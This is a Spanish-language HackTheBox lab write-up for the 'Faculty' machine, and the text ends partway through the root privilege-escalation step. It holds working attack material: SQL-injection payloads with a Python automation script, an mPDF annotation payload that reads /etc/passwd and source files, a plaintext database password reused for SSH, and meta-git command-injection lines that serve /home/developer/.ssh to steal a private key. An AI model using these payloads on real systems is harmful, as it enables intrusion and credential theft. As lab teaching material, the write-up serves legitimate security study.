Home Hackthebox Writeup Faculty
Post
Cancel

Hackthebox Writeup Faculty

Overview:

  • Database enumeration and bypass login page by SQL Inyection
  • System users, system files, ssh credentials by Server Side XSS (Dynamic PDF)
  • Meta plugin meta-git Remote code execution (foothold)
  • Privileged process debugging with GDB system function call (privilege escalation)

FacultyLogo

OSIPRelease DateDifficultyPoints
Linux10.10.11.16902 Jul 2022Medium30

Antes de empezar verificamos que estamos conectado a la VPN de HTB y tenemos conexión con la máquina:

1
2
3
4
5
6
7
8
> ping -c1 10.10.11.169
PING 10.10.11.169 (10.10.11.169) 56(84) bytes of data.
64 bytes from 10.10.11.169: icmp_seq=1 ttl=63 time=107 ms
                                          \______________________ Linux Machine
--- 10.10.11.169 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
          \_________________\____________________________________ Successful connection
rtt min/avg/max/mdev = 106.595/106.595/106.595/0.000 ms

Explicación de parámetros:

-c <count> : Número de paquetes ICMP que deseamos enviar a la máquina

Enumeration


Con nmap realizamos un escaneo de tipo TCP (Transfer Control Protocol) para descubrir puertos abiertos:

1
2
3
4
5
6
7
8
9
10
❯ nmap -p- -sS --min-rate 5000 -n -Pn 10.10.11.169
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-04 17:26 -05
Nmap scan report for 10.10.11.169
Host is up (0.11s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
	      \___________________ Secure Shel Protocol
80/tcp open  http
	      \___________________ Hypertext Transfer Protocol

Explicación de parámetros :

-p- : Escanear todos los puertos, del 1 al 65,535

-sS : Solo enviar paquetes de tipo SYN (inicio de conexión), incrementa velocidad del escaneo

--min-rate <number> : Enviar una taza (<number>) de paquetes por segundo como mínimo

-n : No buscar nombres de dominio asociadas a la IP en cuestión (rDNS)

-Pn : Omitir el descubrimiento de hosts y continuar con el escaneo de puertos, incrementa velocidad del escaneo

Ahora realizamos un escaneo a profundidad de los puertos 22(SSH) - 80(HTTP):

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ nmap -p22,80 -sCV 10.10.11.160 -oN openPortsTCP
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-04 17:32 -05
Nmap scan report for 10.10.11.160
Host is up (0.11s latency).

PORT   STATE  SERVICE VERSION
22/tcp open   ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
|   256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_  256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
80/tcp closed http
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Explicación de parámetros :

-p <port_1,port_2,...> : Indicamos que puertos queremos escanear

-sCV (Fusión de parámetros -sC -sV)

-sC : Ejecutar en los puertos scripts por defecto de nmap

-sV : Activar detección de versiones de los servicios que corren por los puertos

-oN <file> : Guardar el output del escaneo en un archivo con formato Nmap

Al empezar por el servicio web 80(HTTP) y buscar que tecnologías usa, nos damos cuenta que existe una redirección a faculty.htb:

Usando nc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ nc 10.10.11.169 80 -v
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Connected to 10.10.11.169:80.
GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 04 Aug 2022 22:46:25 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://faculty.htb <--------- Redirection

<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>

Con curl

1
2
3
4
5
6
7
8
❯ curl -I http://10.10.11.169
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 04 Aug 2022 22:43:11 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://faculty.htb <------- Redirection

Con whatweb

1
2
3
❯ whatweb http://10.10.11.169
http://10.10.11.169 [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.169], RedirectLocation[http://faculty.htb], Title[302 Found], nginx[1.18.0]
ERROR Opening: http://faculty.htb - no address for faculty.htb <------- Redirection

Entonces confirmamos que se aplica Virtual Hosting y por ello lo agregamos a nuestro archivo, encargado de la resolución rápida de direcciones IP y nombres de dominio, /etc/hosts : echo "10.10.11.169 faculty.htb" >> /etc/hosts

Ahora si procedemos a buscar las tecnologías que corren por detrás usando whatweb:

1
2
3
4
❯ whatweb http://10.10.11.169
http://10.10.11.169 [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.169], RedirectLocation[http://faculty.htb], Title[302 Found], nginx[1.18.0]
http://faculty.htb [302 Found] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.169], JQuery, RedirectLocation[login.php], Script[text/javascript], Title[School Faculty Scheduling System], nginx[1.18.0]
http://faculty.htb/login.php [200 OK] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.169], JQuery, Script[text/javascript], Title[School Faculty Scheduling System], nginx[1.18.0]

Si quieres una opción gráfica puedes usar en tu navegador la extensión Wappalyzer y ver las tecnologías

Observamos que tiene como servidor web una version estable de Nginx (version hasta la fecha de hoy: 1.19), como sistema operativo un Ubuntu, entre otros. Lo mas interesante es que hay otra redirección a la ruta login.php:

Ingresando con Firefox:

HTTPWeb

Foothold


Nos encontramos en una especie de sistema virtual de una facultad y nos pide ingresar nuestro Número de Identificación, al no tener uno empezamos probando una inyección básica de SQL ' or 1=1-- - y logramos entrar como el usuario Smith Jhon C pero sin poder hacer mucho

Para observar de una mejor manera la respuesta a este panel de identificación y la inyección SQL, procedemos a interceptar la petición con burpsuite

Ingresando como input una comilla simple ' logramos generar un error y la ruta absoluta de un archivo PHP:

BURPLogin

Ahora que obtenemos una respuesta de error podemos listar las bases de datos que existan y sus respectivas tablas y columnas:

Primero tenemos que hallar el número de columnas de la tabla actual en la que se están seleccionando los datos

SQLI

La palabra clave o comando order by ordena el conjunto de resultados de la consulta (asc. o desc.) y nos sirve para hallar el número de columnas. Veamos un ejemplo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
MariaDB [test_db]> select * from Accounts;
+----------+----------+-------------------+
| Username | Password | Email             |
+----------+----------+-------------------+
| admin    | HxZsO9AR | admin@site.com    |
| staff    | ihKdNTU4 | staff@site.com    |
| user     | Iwsi7Ks8 | usr@othersite.com |
+----------+----------+-------------------+
MariaDB [test_db]> select * from Accounts where Username = '' order by 1;
Empty set (0.000 sec)

MariaDB [test_db]> select * from Accounts where Username = '' order by 2;
Empty set (0.001 sec)

MariaDB [test_db]> select * from Accounts where Username = '' order by 3;
Empty set (0.001 sec)

MariaDB [test_db]> select * from Accounts where Username = '' order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause' <------------------ Number of columns = 3 (4 - 1)

Tambien puede usarse la palabra clave group by, ambos funcionan igual para este propósito

Ahora tenemos que hacer una selección con el número de columnas de la tabla para poder usar cualquiera de sus campos

SQLI

Para ello usamos la palabra clave union que nos permite unir varias selecciones de distintas tablas en una sola. Veamos el ejemplo:

1
2
3
4
5
6
MariaDB [test_db]> select * from Accounts where Username = '' union select 1,2,3;
+----------+----------+-------+
| Username | Password | Email |
+----------+----------+-------+
| 1        | 2        | 3     |
+----------+----------+-------+

Ahora que ya tenemos acceso a los campos, usamos la función group_concat() para poder extraer los nombres de bases de datos, columnas, etc

SQLI

La función group_concat() nos ayuda a concatenar datos de múltiples filas en un solo campo. Veamos un ejemplo:

1
2
3
4
5
6
MariaDB [test_db]> select * from Accounts where Username = '' union select 1,2,group_concat(0x7c, user(), 0x7c, database(), 0x7c);
+----------+----------+--------------------------+
| Username | Password | Email                    |
+----------+----------+--------------------------+
| 1        | 2        | |root@localhost|test_db| |
+----------+----------+--------------------------+

Finalmente ahora podemos extraer diversa información como:

1
2
3
4
5
6
7
8
--Database names
' union select 1,2,group_concat(0x7c,schema_name,0x7c) from information_schema.schemata

--Tables of a database
' union select 1,2,3,group_concat(0x7c,table_name,0x7C) from information_schema.tables where table_schema=[database]

--Column names
' union select 1,2,3,group_concat(0x7c,column_name,0x7C) from information_schema.columns where table_name=[table name]

Esta y más información lo encuentras en Hacktricks

El único problema era que teniamos que ir probando cada query en la página login.php y es tedioso, por ello hice un script en python para automatizar gran proceso:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import signal, sys, argparse, requests, subprocess, base64

# debugging
import pdb

# ctrl+C

def signal_handler():
    print("[-] Interruption"); sys.exit()

signal.signal(signal.SIGINT, signal_handler)

# global variables

target_url = 'http://faculty.htb'

# arguments

parser = argparse.ArgumentParser(description='SQL Inyection')
parser.add_argument('-d', '--database', type=str, required=False, help='Select database')
parser.add_argument('-t', '--table', type=str, required=False, help='Select table')
parser.add_argument('-c', '--column', type=str, required=False, help='Select column')
parser.add_argument('-q', '--query', type=str, required=False, help='One word query (g.e version())')

args = parser.parse_args()

# query modes

def get_databases():
    return """' union select 1,2,3,4,5,6,7,8,9,group_concat(0x7c, schema_name, 0x7c) from information_schema.schemata-- -"""

def get_tables(database):
    return """' union select 1,2,3,4,5,6,7,8,9,group_concat(0x7c, table_name, 0x7c) from information_schema.tables where table_schema = "{}"-- -""".format(database)

def get_columns(table):
    return """' union select 1,2,3,4,5,6,7,8,9,group_concat(0x7c, column_name, 0x7c) from information_schema.columns where table_name = "{}"-- -""".format(table)

def get_fields(column, table):
    return """' union select 1,2,3,4,5,6,7,8,9,group_concat(0x7c, {}, 0x7c) from {}-- -""".format(column, table)
 
def get_info(command):
    return """' union select 1,2,3,4,5,6,7,8,9,group_concat(0x7c, {}, 0x7c)-- -""".format(command)
    

# options

def options():
    try:
        if len(sys.argv) == 1:
            return get_databases()
        elif args.database and args.table and args.column:
            return get_fields(args.column, args.table)
        elif args.database and args.table:
            return get_columns(args.table)
        elif args.database:
            return get_tables(args.database)
        elif args.query:
            return get_info(args.query)
    except Exception as e:
        print(e)

# request

def inyection():
    # create session
    s = requests.Session()
    headers = {'Content-Type' : 'application/x-www-form-urlencoded; charset=UTF-8'}
    
    # set option
    inyection = options()

    # inyection
    data = dict(id_no=inyection)
    target = target_url + '/admin/ajax.php?action=login_faculty'
    r = s.post(target, headers=headers, data=data)
    target = target_url + '/index.php'
    r = s.get(target, cookies=r.cookies.get_dict()) 
    content = r.text
    
    # encode b64
    msg_b = content.encode('ascii')
    base64_b = base64.b64encode(msg_b)
    base64_m = base64_b.decode('ascii')
    
    # filter content
    command = f"""echo {base64_m} | base64 -d""" + """ | grep -E "<a" | head -n 1 | awk -F'>' '{print $2}' | awk '{print $1}'"""
    output = subprocess.run(command, shell=True, capture_output=True, text=True)
    print()
    print(output.stdout)
    
    

if __name__ == '__main__':
    inyection()

Puedes encontrar el script en mi repositorio https://github.com/E1P0TR0

Después de enumerar las diversas tablas solo encontramos un hash del usuario Admin que no podremos crackear, a pesar de eso me gustó el scripting de la inyección a manera de práctica

Algo que si nos puede ser útil es la ruta que encontramos al encontrar el error de la inyección: /var/www/scheduling/admin/admin_class.php

Como usuarios de Linux sabemos que al montar un servidor web todos los archivos o documentos serán almacenados en la ruta /var/www/html y podemos tener múltiples sitios web con una misma dirección IP, ya sea con apache (virtual hosts) o nginx (server blocks), y sus diferentes directorios de la web

Con lo anterior llegamos a la conclusión que /var/www/scheduling (nombre que tiene relación con la web) sea un server block de nginx y /admin una posible ruta con sus respectivos archivos. Así que ingresamos a la ruta http://faculty.htb/admin y nos redirigimos a otro panel login.php:

HTTPWeb

También podemos realizar Fuzzing de directorios con gobuster dir para encontrar dicha ruta

Ejecutando es script anterior encontramos que en la base de datos existía una tabla users y con solo un único usuario admin, pero no sin poder crackear la contraseña:

1
2
3
4
5
6
7
8
9
10
11
❯ python3 ../scripts/sql_inyection.py -d scheduling_db -t users

|id|,|name|,|password|,|type|,|username|

❯ python3 ../scripts/sql_inyection.py -d scheduling_db -t users -c username

|admin|

❯ python3 ../scripts/sql_inyection.py -d scheduling_db -t users -c password

|1fecbe762af147c1176a0fc2c722a345|

A pesar de eso, es probable que este panel de login también sea vulnerable a SQL Inyection, ya que ambas forman parte de la misma web y probablemente apliquen las mismas prácticas para la validación de datos en la consulta a su base de datos

Estamos en lo correcto y logramos entrar como el usuario que antes habiamos validado en la table users:

HTTPWeb

Ya dentro encontramos la relación del panel de la izquierda con las tablas de la base de datos scheduling_db que vimos anteriormente

Después de toquetear la página, encontramos que todos los campos de entrada para el usuario son vulnerables a XSS (Cross Site Scripting), pero no conseguimos explotarla del todo:

HTTPWeb

Lo que llama la atención es que en la mayoría de secciones podemos convertir la tabla de datos en pdf y con ello ver información interesante:

Al convertir se nos abre una nueva pestaña con una ruta interesante: http://faculty.htb/mpdf/tmp/OKi3s9CQdwfjGag64Ju5ZO0NpF.pdf

También al abrir las herramientas de desarrollador observamos el mensaje en consola: PDF da3749fcbe722bed51f217ce14055d41 [1.4 mPDF 6.0 / -] (PDF.js: 2.12.70)

Además podemos ver su código que lo ejecuta en el archivo viewer.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//...

async _initializeMetadata(pdfDocument) {
    const {
      info,
      metadata,
      contentDispositionFilename,
      contentLength
    } = await pdfDocument.getMetadata();

    if (pdfDocument !== this.pdfDocument) {
      return;
    }

    this.documentInfo = info;
    this.metadata = metadata;
    this._contentDispositionFilename ??= contentDispositionFilename;
    this._contentLength ??= contentLength;
    console.log(`PDF ${pdfDocument.fingerprints[0]} [${info.PDFFormatVersion} ` + `${(info.Producer || "-").trim()} / ${(info.Creator || "-").trim()}] ` + `(PDF.js: ${_pdfjsLib.version || "-"})`); // This!

//...
}

Y finalmente al descargar el pdf y abrirlo, en sus propiedades podemos ver la herramienta que se encargaría de generar el archivo:

mpdf

Buscando en internet encontramos que mpdf es una librería en PHP que permite generar archivos pdf usando html, además que su versión hasta la fecha es mpdf 8.1.0 y la que usa es servidor la mpdf 6.0, por lo cuál está muy desactualizada y es probable que sea vulnerable

Encontramos en la página Hacktricks una posible brecha de Server Side XSS, lo cúal ya descubrimos anteriormente que la web era vulnerable a XSS (Cross Site Scripting)

Depués de intentar con varios tags para leer archivos locales, encontramos que <annotation> es vulnerable, pero que nos permite este tag?

AnnotationTAG

Como su mismo nombre lo dice nos permite realizar anotaciones en nuestro documento pdf, como las nostas Post-it que las personas usan

Ahora analizemos los parámetros que usamos para la inyección:

1
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Parameters

file : Ruta del archivo para adjuntar en el pdf (importante)

content : Texto emergente al pasar el cursor por el documento (importante para poder luego descargar el archivo)

icon : Apariencia del marcador de anotación (no necesario)

tittle : Agregar un titulo a la nota (solo necesario para mejor visualización)

pos-x : Posición de la nota (tener en cuenta que se encuentre en el limite del tamaño de tu archivo para poder visualizarlo, de igual manera estará adjunto al documento)

En cualquier caso no puedas ver el archivo en la web, ten en cuenta que ya es parte del archivo y puedes extraerlo con la herramienta pdftk

1
2
3
4
5
6
❯ apt install pdftk

❯ pdftk OKbvFO0p8W9ud7qtnTzHJsfZhr.pdf unpack_files

❯ ls
 OKbvFO0p8W9ud7qtnTzHJsfZhr.pdf   passwd

Más información del tag <annotation> https://mpdf.github.io

Aquí puedes encontrar el repositorio de la vulnerabilidad exacta https://github.com/mpdf

Ahora que podemos leer archivos del sistema y tenemos el archivo /etc/passwd, podemos ver los usuarios existentes:

1
2
3
4
❯ cat passwd | grep bash
root:x:0:0:root:/root:/bin/bash
gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash
developer:x:1001:1002:,,,:/home/developer:/bin/bash

Intentamos leer llaves privadas RSA pero no conseguimos nada. Entonces recordamos el archivo que encontramos antes al generar el error en la inyección SQL (/var/www/scheduling/admin/admin_class.php), lo extraemos y vemos su contenido:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
session_start();
ini_set('display_errors', 1);
Class Action {
        private $db;

        public function __construct() {
                ob_start();
        include 'db_connect.php'; // File in the same directory
    
    $this->db = $conn;
        }
        function __destruct() {
            $this->db->close();
            ob_end_flush();
        }

//...

Encontramos las funciones y queries vulnerables a la Inyección SQL y nos demos cuenta que el problema es el mal uso de concatenación de cadenas (“.” para php)

Lo que sí de ve interesante es que incluyen el archivo db_connect.php, que por su nombre podemos encontrar cosas interesantes de la base de datos, así que de la misma manera descargamos el archivo:

1
2
3
<?php 

$conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')or die("Could not connect to mysql".mysqli_error($con)); // Credentials!

Logramos encontrar unas credenciales, pero en nuestro escaneo de puertos la máquina no tenia el puerto por defecto de Mysql 3306 así que no podemos conectarnos. Pero ya que son credenciales podemos rehusarlas e ingresar como los usuarios disponibles del sistema que vimos en el archivo /etc/passwd y tienen una bash: root, gbyolo, developer

Al final logramos entrar como el usuario gbyolo pero no tenemos permisos aún para ver la flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ ssh gbyolo@10.10.11.169
gbyolo@10.10.11.169's password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Aug  5 20:20:15 CEST 2022

  System load:  0.0               Processes:             226
  Usage of /:   74.9% of 4.67GB   Users logged in:       0
  Memory usage: 35%               IPv4 address for eth0: 10.10.11.169
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


You have mail.
Last login: Fri Aug  5 20:19:01 2022 from 10.10.14.76
gbyolo@faculty:~$ whoami
gbyolo
gbyolo@faculty:~$ find / -name user.txt 2>/dev/null | ls -l
total 0

Empezamos una enumeración básica del sistema y encontramos en la ruta /var/mail un mensaje del usuario developer para gbyolo que nos dice que ahora podemos administrar los repositorios git de la facultad

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gbyolo@faculty:/$ cat /var/mail/gbyolo 
From developer@faculty.htb  Tue Nov 10 15:03:02 2020
Return-Path: <developer@faculty.htb>
X-Original-To: gbyolo@faculty.htb
Delivered-To: gbyolo@faculty.htb
Received: by faculty.htb (Postfix, from userid 1001)
        id 0399E26125A; Tue, 10 Nov 2020 15:03:02 +0100 (CET)
Subject: Faculty group
To: <gbyolo@faculty.htb>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20201110140302.0399E26125A@faculty.htb>
Date: Tue, 10 Nov 2020 15:03:02 +0100 (CET)
From: developer@faculty.htb
X-IMAPbase: 1605016995 2
Status: O
X-UID: 1

Hi gbyolo, you can now manage git repositories belonging to the faculty group. Please check and if you have troubles just let me know!\ndeveloper@faculty.htb

Para esto podemos ver que aplicaciones o comandos podemos ejecutar y que privilegios tenemos, para ello usamos el comando sudo -l e ingresamos nuestra contraseña (la de la conexión ssh):

1
2
3
4
5
6
7
gbyolo@faculty:~$ sudo -l
[sudo] password for gbyolo: 
Matching Defaults entries for gbyolo on faculty:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User gbyolo may run the following commands on faculty:
    (developer) /usr/local/bin/meta-git

Encontramos que podemos ejecutar el comando meta-git como el usuario developer, por el nombre podemos decir que es un control de versiones al igual que git

Investigando primero encontramos que meta es una herramienta para administrar sistemas y bibliotecas de múltiples proyectos y que meta-git es un plugin que permite administrar estos repositorios meta

Por si necesitas mas información sobre qué es meta y meta-git

Executando el programa nos muestra todas las opciones que tenemos disponibles:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gbyolo@faculty:~$ /usr/local/bin/meta-git
Usage: meta-git [options] [command]

Options:
  -h, --help  output usage information

Commands:
  add         Add file contents to the index
  branch      List, create, or delete branches
  checkout    Switch branches or restore working tree files
  clean       Remove untracked files from the working tree
  clone       Clone meta and child repositories into new directories
  commit      Record changes to the repository
  diff        Show changes between commits, commit and working tree, etc
  fetch       Download objects and refs from another repository
  merge       Join two or more development histories together
  pull        Fetch from and integrate with another repository or a local branch
  push        Update remote refs along with associated objects
  remote      Manage set of tracked repositories
  status      Show the working tree status
  tag         Create, list, delete or verify a tag object signed with GPG
  update      Clone any repos that exist in your .meta file but aren't cloned locally
  help [cmd]  display help for [cmd]

A pesar que no podemos ver la versión del programa en el panel de ayuda, ya que es una aplicación hecha en javascript y necesita instalarse con npm (sistema de gestión de paquetes). Entonces al momento de instalar este paquete/plugin se crea un directorio /node-modules en la carpeta raíz de nuestro proyecto /usr/local/lib/node_modules/meta-git y en está carpeta encontramos el archivo package.json donde se almacenan todos los nombres y versiones de los paquetes que depende, con ello encontramos las version de meta-git:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
gbyolo@faculty:/$ find / -name meta-git 2>/dev/null                                                                                                                  [65/65]
/usr/local/lib/node_modules/meta-git                                                  
/usr/local/lib/node_modules/meta-git/bin/meta-git                                     
/usr/local/bin/meta-git                  
gbyolo@faculty:/$ cd /usr/local/lib/node_modules/meta-git
gbyolo@faculty:/usr/local/lib/node_modules/meta-git$ ls                               
README.md  __tests__  bin  commitlint.config.js  index.js  jest.json  lib  node_modules  package.json
gbyolo@faculty:/usr/local/lib/node_modules/meta-git$ cat package.json     
{                                                                                     
  "_from": "meta-git@1.1.2",
  "_id": "meta-git@1.1.2",
  "_inBundle": false,                                                                 
  "_integrity": "sha512-HMoLDeIgVBAl8/neDKX3RfRV4CAiRrrMxqCGmo1eyRS33cxYqIWVr9RS87m5mYnVgLHN8JmsahkpOdbKr3M4Ew==",
  "_location": "/meta-git",                                                           
  "_phantomChildren": {},
  "_requested": {              
    "type": "version",                                                                
    "registry": true,                                                                 
    "raw": "meta-git@1.1.2",                                                          
    "name": "meta-git",                                                               
    "escapedName": "meta-git",                                                        
    "rawSpec": "1.1.2",                                                               
    "saveSpec": null,                    
    "fetchSpec": "1.1.2"                                                              

  //...

  },
  "version": "1.1.2" <------- Here!
}

Con la versión correcta encontramos una vulnerabilidad:

METAGit

Reporte de la vulnerabilidad https://hackerone.com/reports/728040

En resumen, lo que ocurre es que al ejecutar el comando meta-git clone <repository_name> el input del usuario <repository_name> se asigna dentro de una cadena sin sanitizar que luego se ejecuta como un comando:

Parte del código del problema

1
2
3
4
5
6
7
8
9
10
//...

exec(
    {
      cmd: `git clone ${meta.projects[name]} ${name}`, <--------- Problem!
      displayDir: path.resolve(name),
    },
    next
);
//...

Ahora solo queda explotar la vulnerabilidad. Primero tengamos en cuenta que tenemos que ejecutar meta-git como el usuario developer, para ello usamos el comando sudo -u <user> junto a /usr/local/bin/meta-git clone '<user_input>', donde nuestro <user_input> será cualquier nombre ya que no tenemos un repositorio actual y haremos uso de el operador lógico || el cúal funciona como un or y al momento que falle la llamada al repositorio inexistente pasará a ejecutar el comando que insertemos luego:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gbyolo@faculty:/$ sudo -u developer /usr/local/bin/meta-git clone 'any text || whoami'
meta git cloning into 'any text || whoami' at any text || whoami

any text || whoami:
fatal: repository 'any' does not exist
whoami: extra operand ‘any’
Try 'whoami --help' for more information.
developer  <---------------------------------------- Remote Code Execution
any text || whoami ✓
(node:38044) UnhandledPromiseRejectionWarning: Error: ENOENT: no such file or directory, chdir '/any text || whoami'
    at process.chdir (internal/process/main_thread_only.js:31:12)
    at exec (/usr/local/lib/node_modules/meta-git/bin/meta-git-clone:27:11)
    at execPromise.then.catch.errorMessage (/usr/local/lib/node_modules/meta-git/node_modules/meta-exec/index.js:104:22)
    at process._tickCallback (internal/process/next_tick.js:68:7)
    at Function.Module.runMain (internal/modules/cjs/loader.js:834:11)
    at startup (internal/bootstrap/node.js:283:19)
    at bootstrapNodeJSCore (internal/bootstrap/node.js:623:3)
(node:38044) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 1)
(node:38044) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.

Solo queda obtener la llave privada id_rsa del usuario developer para entrar por SSH y conseguir la flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gbyolo@faculty:/$ sudo -u developer /usr/local/bin/meta-git clone 'any text || /usr/bin/python3 -m http.server -d /home/developer/.ssh 1234 && foo'
meta git cloning into 'any text || /usr/bin/python3 -m http.server -d /home/developer/.ssh 1234 && foo' at .ssh 1234 && foo

.ssh 1234 && foo:
fatal: repository 'any' does not exist
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) ...
10.10.14.76 - - [06/Aug/2022 01:28:22] "GET /id_rsa HTTP/1.1" 200 -
                    
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ wget -q http://10.10.11.169:1234/id_rsa
❯ chmod 600 id_rsa
❯ ssh -i id_rsa developer@10.10.11.169
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)

...

Last login: Sat Aug  6 01:28:59 2022 from 10.10.14.76
developer@faculty:~$ find / -name user.txt 2>/dev/null | xargs ls -l
-rw-r----- 1 root developer 33 Aug  5 06:54 /home/developer/user.txt

Tienes agregar al final del comando una coma ; ó (|| y && seguidos por cualquier expresión), todo con el fin que valide el comando completo y no ocurran errores

Privilege Escalation


Como el usuario developer somos parte del grupo debug, entonces buscamos archivos que formen parte de este grupo y encontramos la aplicación/binario gdb:

1
2
developer@faculty:~$ find / -group debug 2>/dev/null | xargs ls -l
-rwxr-x--- 1 root debug 8440200 Dec  8  2021 /usr/bin/gdb

Vemos que podemos usar el depurador gdb:

GDB

También con gdb podemos enlazarnos a un cierto proceso con gdb -p <process_pid>, examinar su código y también usar las librerías de los programas que son parte del proceso. Además si ese proceso es ejecutado como un usuario privilegiado, está claro que tendremos sus privilegios

Primero debemos encontrar procesos que ejecute el usuario root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
developer@faculty:~$ ps aux | grep root
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
...
root         615  0.0  0.0      0     0 ?        I<   Aug05   0:00 [kaluad]
root         616  0.0  0.0      0     0 ?        I<   Aug05   0:00 [kmpath_rdacd]
root         617  0.0  0.0      0     0 ?        I<   Aug05   0:00 [kmpathd]
root         618  0.0  0.0      0     0 ?        I<   Aug05   0:00 [kmpath_handlerd]
root         619  0.0  0.8 214604 17952 ?        SLsl Aug05   0:07 /sbin/multipathd -d -s
root         664  0.0  0.5  46324 10760 ?        Ss   Aug05   0:00 /usr/bin/VGAuthService
root         670  0.1  0.4 310256  8136 ?        Ssl  Aug05   1:19 /usr/bin/vmtoolsd
root         671  0.0  0.2  99896  5892 ?        Ssl  Aug05   0:00 /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root         695  0.0  0.4 238080  9176 ?        Ssl  Aug05   0:01 /usr/lib/accountsservice/accounts-daemon
root         723  0.0  0.1  81956  3672 ?        Ssl  Aug05   0:03 /usr/sbin/irqbalance --foreground
root         724  0.0  0.8  26896 17880 ?        Ss   Aug05   0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers <-------- Interesting
root         729  0.0  0.4 236436  8988 ?        Ssl  Aug05   0:00 /usr/lib/policykit-1/polkitd --no-debug
root         740  0.0  0.3  17472  7152 ?        Ss   Aug05   0:01 /lib/systemd/systemd-logind
root         741  0.0  0.6 395512 13696 ?        Ssl  Aug05   0:00 /usr/lib/udisks2/udisksd
root         785  0.0  0.6 318816 13520 ?        Ssl  Aug05   0:00 /usr/sbin/ModemManager
root         912  0.0  0.1   5568  2964 ?        Ss   Aug05   0:00 /usr/sbin/cron -f
root         913  0.0  0.8 194680 16848 ?        Ss   Aug05   0:04 php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf)
root         920  0.0  0.1   7248  3172 ?        S    Aug05   0:00 /usr/sbin/CRON -f
root         925  0.0  0.0  55276  1540 ?        Ss   Aug05   0:00 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
root         927  0.0  0.0   2608   528 ?        Ss   Aug05   0:00 /bin/sh -c bash /root/service_check.sh           
